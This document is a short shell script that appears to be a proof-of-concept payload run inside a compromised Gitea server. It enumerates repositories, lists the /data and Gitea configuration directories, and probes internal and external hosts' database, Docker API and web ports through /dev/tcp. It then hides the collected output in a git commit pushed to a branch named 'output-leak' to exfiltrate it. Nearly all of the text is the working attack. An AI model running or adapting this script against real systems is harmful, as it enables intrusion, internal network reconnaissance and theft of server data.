#!/bin/sh
GD=$(git rev-parse --absolute-git-dir)
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
OUT=$( {
echo "EXPCOUNT=$(ls /data/git/repositories/gitea_exp 2>/dev/null | wc -l)"
echo "ALLCOUNT=$(find /data/git/repositories -maxdepth 2 -name '*.git' -type d | wc -l)"
echo "---DATA---"; ls -la /data | head -30
echo "---XX---"; stat -c '%n %s %y' /data/XXAdJCcO /data/XXhdIalE 2>/dev/null; head -c 32 /data/XXAdJCcO 2>/dev/null | od -An -c | head -2
echo "---GITEADATA---"; ls -la /data/gitea; echo ---; ls -la /data/gitea/conf 2>/dev/null
echo "---NET---"
for t in 172.18.0.1:5432 172.18.0.1:2375 172.18.0.1:2376 172.18.0.2:3000 172.18.0.3:5432 172.18.0.4:5432 172.18.0.4:3000 172.18.0.1:80 172.18.0.1:443 62.32.64.143:443 62.32.64.148:9000 62.32.64.149:5432 62.32.64.150:4100 62.32.64.150:4101; do
  ip=${t%:*}; p=${t#*:}
  timeout 2 bash -c "echo > /dev/tcp/$ip/$p" 2>/dev/null && echo "open $t" || echo "closed $t"
done
echo "---LSV---"; ls -la /data/git/repositories/csoft /data/git/repositories/admin /data/git/repositories/data-watcher-8038 2>/dev/null
echo DONE

} 2>&1; echo "[rc=$?]")
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
